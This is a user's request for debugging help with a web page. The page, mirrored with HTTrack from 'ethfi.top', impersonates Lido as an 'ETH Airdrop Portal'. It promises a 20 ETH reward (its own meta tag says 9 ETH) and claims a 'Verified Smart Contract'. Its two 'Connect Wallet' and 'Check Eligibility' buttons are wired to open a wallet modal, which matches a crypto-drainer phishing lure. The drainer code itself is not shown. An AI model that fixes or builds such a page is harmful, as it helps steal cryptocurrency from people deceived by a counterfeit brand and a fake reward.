why when i pressed connect wallet the connect-wallet.js didnt open or do anything?:

js code:

// Create a self-executing function to avoid global scope pollution
(function() {
  // Global function to open wallet modal
  window.openWalletConnect = function() {
    const event = new CustomEvent('openWalletModal');
    window.dispatchEvent(event);
  };

  // Function to initialize wallet connect buttons
  function initializeButtons() {
    const buttons = document.querySelectorAll('.wallet-connect-btn');
    buttons.forEach(button => {
      // Remove any existing click listeners
      button.removeEventListener('click', window.openWalletConnect);
      // Add new click listener
      button.addEventListener('click', window.openWalletConnect);
    });
  }

  // Initialize on DOM ready
  if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', initializeButtons);
  } else {
    initializeButtons();
  }

  // Re-initialize buttons when DOM changes
  const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
      if (mutation.addedNodes.length) {
        initializeButtons();
      }
    });
  });

  // Start observing the document with the configured parameters
  observer.observe(document.body, { childList: true, subtree: true });
})();

index.html code:

<!DOCTYPE html>
<html lang="en">

<!-- Mirrored from ethfi.top/ by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 01 Jul 2025 18:32:50 GMT -->
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Check your eligibility for 9 ETH airdrop reward - Official Lido Airdrop Portal">
    <title>Check Eligibility for 20 ETH Airdrop | Lido</title>
    <script type="module" crossorigin src="assets/index.BDNU_Hcv.js"></script>
    <link rel="stylesheet" crossorigin href="assets/index.BnrNVvZS.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
        }

        :root {
            --primary: #00A3FF;
            --primary-dark: #0082CC;
            --background: #F7F8FA;
            --card-bg: #FFFFFF;
            --text: #273852;
            --text-secondary: #5E6B81;
            --border: #E8EBF1;
            --success: #27AE60;
            --warning: #F2994A;
        }

        body {
            background: var(--background);
            color: var(--text);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            padding: 0.75rem 2rem;
            background: var(--card-bg);
            border-bottom: 1px solid var(--border);
            position: sticky;
            top: 0;
            z-index: 100;
        }

        .nav {
            max-width: 1200px;
            margin: 0 auto;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .nav-left {
            display: flex;
            align-items: center;
            gap: 2rem;
        }

        .logo {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            color: var(--primary);
            font-weight: 600;
            font-size: 1.25rem;
            text-decoration: none;
        }

        .logo img {
            width: 32px;
            height: 32px;
        }

        .nav-links {
            display: flex;
            align-items: center;
            gap: 1.5rem;
        }

        .nav-link {
            color: var(--text-secondary);
            text-decoration: none;
            font-weight: 500;
            font-size: 0.9rem;
            padding: 0.5rem 0.75rem;
            border-radius: 8px;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            transition: all 0.2s;
        }

        .nav-link:hover {
            background: var(--background);
            color: var(--text);
        }

        .nav-link.active {
            background: rgba(0, 163, 255, 0.1);
            color: var(--primary);
        }

        .nav-right {
            display: flex;
            align-items: center;
            gap: 1rem;
        }

        .eth-price {
            color: var(--text-secondary);
            font-size: 0.9rem;
            padding: 0.5rem 1rem;
            background: var(--background);
            border-radius: 8px;
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }

        .connect-btn {
            background: var(--primary);
            color: white;
            border: none;
            padding: 0.75rem 1.25rem;
            border-radius: 12px;
            font-weight: 500;
            font-size: 0.9rem;
            cursor: pointer;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            transition: all 0.2s;
        }

        .connect-btn:hover {
            background: var(--primary-dark);
        }

        .main-content {
            max-width: 560px;
            margin: 1.5rem auto;
            padding: 0 1rem;
            flex: 1;
            display: flex;
            align-items: center;
        }

        .card {
            background: var(--card-bg);
            border-radius: 24px;
            padding: 1.5rem;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.08);
            border: 1px solid var(--border);
            width: 100%;
        }

        .page-title {
            text-align: center;
            margin-bottom: 0.5rem;
            color: var(--text);
            font-size: 2rem;
            font-weight: 700;
        }

        .subtitle {
            text-align: center;
            color: var(--text-secondary);
            margin-bottom: 0.5rem;
            font-size: 1rem;
        }

        .eligibility-text {
            text-align: center;
            color: var(--success);
            margin-bottom: 1rem;
            font-size: 0.9rem;
            font-weight: 500;
        }

        .input-group {
            background: var(--background);
            border-radius: 16px;
            padding: 1.25rem;
            margin-bottom: 1rem;
            border: 1px solid var(--border);
        }

        .input-label {
            color: var(--text-secondary);
            font-weight: 500;
            font-size: 0.9rem;
            margin-bottom: 0.5rem;
        }

        .input-value {
            font-size: 2rem;
            font-weight: 700;
            color: var(--text);
            margin-bottom: 0.25rem;
        }

        .usd-value {
            color: var(--text-secondary);
            font-size: 0.9rem;
            font-weight: 500;
        }

        .options {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 1rem;
            margin: 1rem 0;
        }

        .option {
            background: var(--background);
            border-radius: 16px;
            padding: 1.25rem;
            border: 2px solid var(--border);
            transition: all 0.2s;
            cursor: pointer;
        }

        .option:hover {
            transform: translateY(-1px);
        }

        .option.active {
            border-color: var(--primary);
            background: rgba(0, 163, 255, 0.05);
        }

        .option-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 0.75rem;
            color: var(--text);
            font-weight: 600;
            font-size: 0.9rem;
        }

        .option-detail {
            display: flex;
            justify-content: space-between;
            color: var(--text-secondary);
            font-size: 0.8rem;
            margin-top: 0.5rem;
        }

        .check-btn {
            width: 100%;
            background: var(--primary);
            color: white;
            border: none;
            padding: 1rem;
            border-radius: 16px;
            font-weight: 600;
            font-size: 1rem;
            cursor: pointer;
            transition: all 0.2s;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 0.5rem;
        }

        .check-btn:hover {
            background: var(--primary-dark);
            transform: translateY(-1px);
        }

        .security-info {
            margin-top: 1rem;
            padding: 1rem;
            background: rgba(242, 153, 74, 0.1);
            border-radius: 12px;
            display: flex;
            align-items: center;
            gap: 0.75rem;
            color: var(--warning);
            font-weight: 500;
            font-size: 0.9rem;
        }

        @media (max-width: 768px) {
            .header {
                padding: 1rem;
            }
            
            .nav-links {
                display: none;
            }

            .eth-price {
                display: none;
            }

            .options {
                grid-template-columns: 1fr;
            }

            .page-title {
                font-size: 1.75rem;
            }

            .input-value {
                font-size: 1.75rem;
            }

            .card {
                padding: 1.25rem;
            }
        }
    </style>
  <script type="module" crossorigin src="assets/index.FxJCfKPu.html"></script>
  <link rel="stylesheet" crossorigin href="assets/index.BkE8pnkq.html">
</head>
<body>
    <header class="header">
        <nav class="nav">
            <div class="nav-left">
                <a href="#" class="logo">
                    <img src="../res.coinpaper.com/coinpaper/stETH_qyvk78.png" alt="Lido Logo">
                </a>
                <div class="nav-links">
                    <a href="#" class="nav-link">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                            <path d="M13 2L3 14h9l-1 8 10-12h-9l1-8z"/>
                        </svg>
                        Stake
                    </a>
                    <a href="#" class="nav-link">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                            <rect x="3" y="3" width="18" height="18" rx="2"/>
                            <path d="M8 12h8"/>
                        </svg>
                        Wrap
                    </a>
                    <a href="#" class="nav-link active">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                            <path d="M12 2v20M2 12h20"/>
                        </svg>
                        Airdrop
                    </a>
                    <a href="#" class="nav-link">
                        <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                            <circle cx="12" cy="12" r="10"/>
                            <path d="M12 6v12"/>
                        </svg>
                        Governance
                    </a>
                </div>
            </div>
            <div class="nav-right">
                <div class="eth-price">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                        <path d="M12 2L2 7l10 5 10-5-10-5zM2 17l10 5 10-5M2 12l10 5 10-5"/>
                    </svg>
                    ETH: $2,077.42
                </div>
                <button class="wallet-connect-btn connect-btn">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                        <rect x="3" y="3" width="18" height="18" rx="2"/>
                        <path d="M8 12h8"/>
                    </svg>
                    Connect Wallet
                </button>
            </div>
        </nav>
    </header>

    <main class="main-content">
        <div class="card">
            <h1 class="page-title">ETH Airdrop Portal</h1>
            <p class="subtitle">Check your wallet's eligibility for the exclusive airdrop</p>
            <p class="eligibility-text">Addresses that have received NFT Airdrop, are eligible for rewards</p>

            <div class="input-group">
                <div class="input-label">Potential Airdrop Amount</div>
                <div class="input-value">20.0 ETH</div>
                <div class="usd-value">≈ $40,600.86 USD</div>
            </div>

            <div class="options">
                <div class="option active">
                    <div class="option-header">
                        <span>Instant Claim</span>
                        <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                            <path d="M13 2L3 14h9l-1 8 10-12h-9l1-8z"/>
                        </svg>
                    </div>
                    <div class="option-detail">
                        <span>Processing Time</span>
                        <span>Instant</span>
                    </div>
                    <div class="option-detail">
                        <span>Network Fee</span>
                        <span>Covered</span>
                    </div>
                </div>
                <div class="option">
                    <div class="option-header">
                        <span>Stake & Earn</span>
                        <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                            <circle cx="12" cy="12" r="10"/>
                            <path d="M12 6v12M6 12h12"/>
                        </svg>
                    </div>
                    <div class="option-detail">
                        <span>Annual Yield</span>
                        <span>+5.2% APR</span>
                    </div>
                    <div class="option-detail">
                        <span>Lock Period</span>
                        <span>Flexible</span>
                    </div>
                </div>
            </div>

            <button class="wallet-connect-btn check-btn">
                <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                    <path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/>
                    <polyline points="22 4 12 14.01 9 11.01"/>
                </svg>
                Check Eligibility
            </button>

            <div class="security-info">
                <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                    <path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
                </svg>
                Secure Protocol - Verified Smart Contract
            </div>
        </div>
    </main>
    <div id="root"></div>
    <script src="/wallet-connect.js"></script>
</body>
</html>